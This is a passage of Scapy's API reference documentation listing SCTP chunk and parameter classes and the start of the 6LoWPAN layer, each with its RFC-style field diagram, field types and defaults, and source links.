+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                       RECEIVER NEXT TSN                       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SCTPChunkParamReConfigRes                  


SCTPChunkParamReConfigRes fields






	type

	ShortEnumField

	16



	len

	XShortField

	12



	re_conf_res_seq_num

	XIntField

	None



	result

	IntEnumField

	None



	sender_next_tsn

	XIntField

	None



	receiver_next_tsn

	XIntField

	None















	
class scapy.layers.sctp.SCTPChunkParamRequestedHMACFunctions(_pkt, /, *, type=32772, len=None, HMAC_functions_list=[1])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L483-L490]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      HMAC FUNCTIONS LIST      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

            Fig. SCTPChunkParamRequestedHMACFunctions             


SCTPChunkParamRequestedHMACFunctions fields






	type

	ShortEnumField

	32772



	len

	FieldLenField

	None



	HMAC_functions_list

	PadField

	[1]















	
class scapy.layers.sctp.SCTPChunkParamSSNTSNResetReq(_pkt, /, *, type=15, len=8, re_conf_req_seq_num=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L429-L433]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                      RE CONF REQ SEQ NUM                      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. SCTPChunkParamSSNTSNResetReq                 


SCTPChunkParamSSNTSNResetReq fields






	type

	ShortEnumField

	15



	len

	XShortField

	8



	re_conf_req_seq_num

	XIntField

	None















	
class scapy.layers.sctp.SCTPChunkParamSetPrimaryAddr(_pkt, /, *, type=49156, len=None, correlation_id=None, addr_type=5, addr_len=None, addr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L546-L547]

	Bases: SCTPChunkParamAddIPAddr


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CORRELATION ID                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ADDR TYPE           |            ADDR LEN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              ADDR             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. SCTPChunkParamSetPrimaryAddr                 


SCTPChunkParamSetPrimaryAddr fields






	type

	ShortEnumField

	49156



	len

	FieldLenField

	None



	correlation_id

	XIntField

	None



	addr_type

	ShortEnumField

	5



	addr_len

	FieldLenField

	None



	addr

	MultipleTypeField (IPField, IP6Field, StrFixedLenField)

	b''















	
class scapy.layers.sctp.SCTPChunkParamStateCookie(_pkt, /, *, type=7, len=None, cookie=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L360-L366]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             COOKIE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SCTPChunkParamStateCookie                  


SCTPChunkParamStateCookie fields






	type

	ShortEnumField

	7



	len

	FieldLenField

	None



	cookie

	PadField

	b''















	
class scapy.layers.sctp.SCTPChunkParamSuccessIndication(_pkt, /, *, type=49157, len=8, correlation_id=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L550-L553]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CORRELATION ID                        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. SCTPChunkParamSuccessIndication               


SCTPChunkParamSuccessIndication fields






	type

	ShortEnumField

	49157



	len

	ShortField

	8



	correlation_id

	XIntField

	None















	
class scapy.layers.sctp.SCTPChunkParamSupportedAddrTypes(_pkt, /, *, type=12, len=None, addr_type_list=[5])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L393-L400]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         ADDR TYPE LIST        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. SCTPChunkParamSupportedAddrTypes               


SCTPChunkParamSupportedAddrTypes fields






	type

	ShortEnumField

	12



	len

	FieldLenField

	None



	addr_type_list

	PadField

	[5]















	
class scapy.layers.sctp.SCTPChunkParamSupportedExtensions(_pkt, /, *, type=32776, len=None, supported_extensions=[15, 193, 128])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L493-L504]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      SUPPORTED EXTENSIONS     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. SCTPChunkParamSupportedExtensions              


SCTPChunkParamSupportedExtensions fields






	type

	ShortEnumField

	32776



	len

	FieldLenField

	None



	supported_extensions

	PadField

	[15, 193, 128]















	
class scapy.layers.sctp.SCTPChunkParamUnrocognizedParam(_pkt, /, *, type=8, len=None, param=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L369-L375]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              TYPE             |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PARAM             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. SCTPChunkParamUnrocognizedParam               


SCTPChunkParamUnrocognizedParam fields






	type

	ShortEnumField

	8



	len

	FieldLenField

	None



	param

	PadField

	b''















	
class scapy.layers.sctp.SCTPChunkReConfig(_pkt, /, *, type=130, flags=None, len=None, params=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L849-L855]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PARAMS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SCTPChunkReConfig                      


SCTPChunkReConfig fields






	type

	ByteEnumField

	130



	flags

	XByteField

	None



	len

	FieldLenField

	None



	params

	ChunkParamField

	[]















	
class scapy.layers.sctp.SCTPChunkSACK(_pkt, /, *, type=3, flags=None, len=None, cumul_tsn_ack=None, a_rwnd=None, n_gap_ack=None, n_dup_tsn=None, gap_ack_list=[], dup_tsn_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L739-L754]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CUMUL TSN ACK                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             A RWND                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           N GAP ACK           |           N DUP TSN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          GAP ACK LIST         |          DUP TSN LIST         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. SCTPChunkSACK                        


SCTPChunkSACK fields






	type

	ByteEnumField

	3



	flags

	XByteField

	None



	len

	ShortField

	None



	cumul_tsn_ack

	XIntField

	None



	a_rwnd

	IntField

	None



	n_gap_ack

	FieldLenField

	None



	n_dup_tsn

	FieldLenField

	None



	gap_ack_list

	FieldListField

	[]



	dup_tsn_list

	FieldListField

	[]











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L751-L754]

	








	
class scapy.layers.sctp.SCTPChunkShutdown(_pkt, /, *, type=7, flags=None, len=8, cumul_tsn_ack=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L779-L784]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         CUMUL TSN ACK                         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SCTPChunkShutdown                      


SCTPChunkShutdown fields






	type

	ByteEnumField

	7



	flags

	XByteField

	None



	len

	ShortField

	8



	cumul_tsn_ack

	XIntField

	None















	
class scapy.layers.sctp.SCTPChunkShutdownAck(_pkt, /, *, type=8, flags=None, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L787-L791]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |     FLAGS     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. SCTPChunkShutdownAck                     


SCTPChunkShutdownAck fields






	type

	ByteEnumField

	8



	flags

	XByteField

	None



	len

	ShortField

	4















	
class scapy.layers.sctp.SCTPChunkShutdownComplete(_pkt, /, *, type=14, reserved=None, TCB=0, len=4)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L819-L824]

	Bases: _SCTPChunkGuessPayload, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |   RESERVED  |T|              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. SCTPChunkShutdownComplete                  


SCTPChunkShutdownComplete fields






	type

	ByteEnumField

	14



	reserved

	BitField  (7 bits)

	None



	TCB

	BitField  (1 bit)

	0



	len

	ShortField

	4















	
class scapy.layers.sctp.SCTPForwardSkip(_pkt, /, *, stream_id=None, stream_seq=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L673-L676]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STREAM ID           |           STREAM SEQ          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. SCTPForwardSkip                       


SCTPForwardSkip fields






	stream_id

	ShortField

	None



	stream_seq

	ShortField

	None















	
class scapy.layers.sctp.SCTPIForwardSkip(_pkt, /, *, stream_id=None, reserved=None, unordered=None, message_id=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L690-L695]

	Bases: _SCTPChunkParam, Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           STREAM ID           |           RESERVED          |U|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                           MESSAGE ID                          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. SCTPIForwardSkip                       


SCTPIForwardSkip fields






	stream_id

	ShortField

	None



	reserved

	BitField  (15 bits)

	None



	unordered

	BitField  (1 bit)

	None



	message_id

	IntField

	None















	
class scapy.layers.sctp.SCTPerror(_pkt, /, *, sport=0, dport=0, tag=0, chksum=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L290-L303]

	Bases: SCTP


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L293-L300]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SPORT             |             DPORT             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              TAG                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             CHKSUM                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. SCTPerror                          


SCTPerror fields






	sport

	ShortEnumField

	0



	dport

	ShortEnumField

	0



	tag

	XIntField

	0



	chksum

	XIntField

	None











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L302-L303]

	








	
scapy.layers.sctp.crc32c(buf)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sctp.py#L112-L118]

	






            

          

      

      

    

  

    
      
          
            
  
scapy.layers.sixlowpan


6LoWPAN Protocol Stack

This implementation follows the next documents:


	Transmission of IPv6 Packets over IEEE 802.15.4 Networks: RFC 4944


	Compression Format for IPv6 Datagrams in Low Power and Lossy
networks (6LoWPAN): RFC 6282


	RFC 4291






	Application

	Application Protocols



	Transport

	UDP

	TCP



	Network

	IPv6



	
	LoWPAN



	Data Link Layer

	IEEE 802.15.4 MAC



	Physical

	IEEE 802.15.4 PHY






Note that:



	Only IPv6 is supported


	LoWPAN is in the middle between network and data link layer







The Internet Control Message protocol v6 (ICMPv6) is used for control
messaging.

Adaptation between full IPv6 and the LoWPAN format is performed by routers at
the edge of 6LoWPAN islands.

A LoWPAN support addressing; a direct mapping between the link-layer address
and the IPv6 address is used for achieving compression.


	Known Issues:
	
	Unimplemented context information


	Unimplemented IPv6 extensions fields










	
class scapy.layers.sixlowpan.IP6FieldLenField(name, default, length_of=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L104-L125]

	Bases: IP6Field


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L111-L117]

	Add an internal value  to a string






	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L119-L125]

	




	
length_of

	








	
class scapy.layers.sixlowpan.LoWPANBroadcast(_pkt, /, *, reserved=80, seq=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L401-L406]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |      SEQ      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. LoWPANBroadcast                       


LoWPANBroadcast fields






	reserved

	ByteField

	80



	seq

	ByteField

	0











	
payload_guess

	Possible sublayers:
SixLoWPAN










	
class scapy.layers.sixlowpan.LoWPANFragmentationFirst(_pkt, /, *, reserved=24, datagramSize=0, datagramTag=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L380-L386]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RESERVED|     DATAGRAMSIZE    |          DATAGRAMTAG          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. LoWPANFragmentationFirst                   


LoWPANFragmentationFirst fields






	reserved

	BitField  (5 bits)

	24



	datagramSize

	BitField  (11 bits)

	0



	datagramTag

	XShortField

	0











	
payload_guess

	Possible sublayers:
SixLoWPAN










	
class scapy.layers.sixlowpan.LoWPANFragmentationSubsequent(_pkt, /, *, reserved=28, datagramSize=0, datagramTag=<RandShort>, datagramOffset=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L389-L396]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| RESERVED|     DATAGRAMSIZE    |          DATAGRAMTAG          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| DATAGRAMOFFSET|
+-+-+-+-+-+-+-+-+

                Fig. LoWPANFragmentationSubsequent                


LoWPANFragmentationSubsequent fields






	reserved

	BitField  (5 bits)

	28



	datagramSize

	BitField  (11 bits)

	0



	datagramTag

	XShortField

	<RandShort>



	datagramOffset

	ByteField

	0















	
class scapy.layers.sixlowpan.LoWPANMesh(_pkt, /, *, reserved=2, v=0, f=0, hopsLeft=0, src=None, dst=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L146-L167]

	Bases: Packet


	
aliastypes

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {'_destinyAddr': ('dst', '2.4.4'), '_f': ('f', '2.4.4'), '_sourceAddr': ('src', '2.4.4'), '_v': ('v', '2.4.4')}

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RES|V|F|HOPSLEF|                      SRC                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                      DST                      |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. LoWPANMesh                          


LoWPANMesh fields






	reserved

	BitField  (2 bits)

	2



	v

	BitEnumField

	0



	f

	BitEnumField

	0



	hopsLeft

	BitField  (4 bits)

	0



	src

	MultipleTypeField (XShortField, XLongField)

	0



	dst

	MultipleTypeField (XShortField, XLongField)

	0











	
payload_guess

	Possible sublayers:
SixLoWPAN










	
class scapy.layers.sixlowpan.LoWPANUncompressedIPv6(_pkt, /, *, _type=65)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L134-L141]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L140-L141]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |
+-+-+-+-+-+-+-+-+

                   Fig. LoWPANUncompressedIPv6                    


LoWPANUncompressedIPv6 fields






	_type

	BitField  (8 bits)

	65















	
class scapy.layers.sixlowpan.LoWPAN_HC1(_pkt, /, *, reserved=66, sp=0, si=0, dp=0, di=0, tc_fl=0, nh=0, hc2=0, hc2Field=None, hopLimit=0, src='::', dst='::', traffic_class=0, flow_label=0, udpSourcePort=None, udpDestPort=None, udpLength=0, udpChecksum=0, pad=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L206-L375]

	Bases: Packet


	
aliastypes

	




	
decompressDestAddr()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L333-L345]

	




	
decompressSourceAddr()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L319-L331]

	




	
do_build()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L347-L367]

	




	
do_build_payload()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L369-L375]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    RESERVED   |S|S|D|D|T| NH|H|HC2FIEL|    HOPLIMIT   |      SRC      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |      DST      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               | TRAFFIC CLASS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               FLOW LABEL              |     UDPSOURCEPORT     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |          UDPDESTPORT          |       UDPLENGTH       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       |          UDPCHECKSUM          |PA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LoWPAN_HC1                          


LoWPAN_HC1 fields






	reserved

	ByteField

	66



	sp

	BitEnumField

	0



	si

	BitEnumField

	0



	dp

	BitEnumField

	0



	di

	BitEnumField

	0



	tc_fl

	BitEnumField

	0



	nh

	BitEnumField

	0



	hc2

	BitEnumField

	0



	hc2Field

	MultipleTypeField (Cond, PacketField, StrFixedLenField)

	b''



	hopLimit

	ByteField

	0



	src

	IP6FieldLenField

	'::'



	dst

	IP6FieldLenField

	'::'



	traffic_class

	ByteField (Cond)

	0



	flow_label

	BitField (Cond) (20 bits)

	0



	udpSourcePort

	MultipleTypeField (Cond, BitScalingField, BitField)

	0



	udpDestPort

	MultipleTypeField (Cond, BitScalingField, BitField)

	0



	udpLength

	BitField (Cond) (16 bits)

	0



	udpChecksum

	XBitField (Cond) (16 bits)

	0



	pad

	BitLenField  (0 bit)

	0











	
payload_guess

	Possible sublayers:
IPv6






	
post_dissect(data)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L288-L317]

	








	
class scapy.layers.sixlowpan.LoWPAN_HC2_UDP(_pkt, /, *, sc=0, dc=0, lc=0, res=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L174-L184]

	Bases: Packet


	
aliastypes

	




	
default_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/sixlowpan.py#L183-L184]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
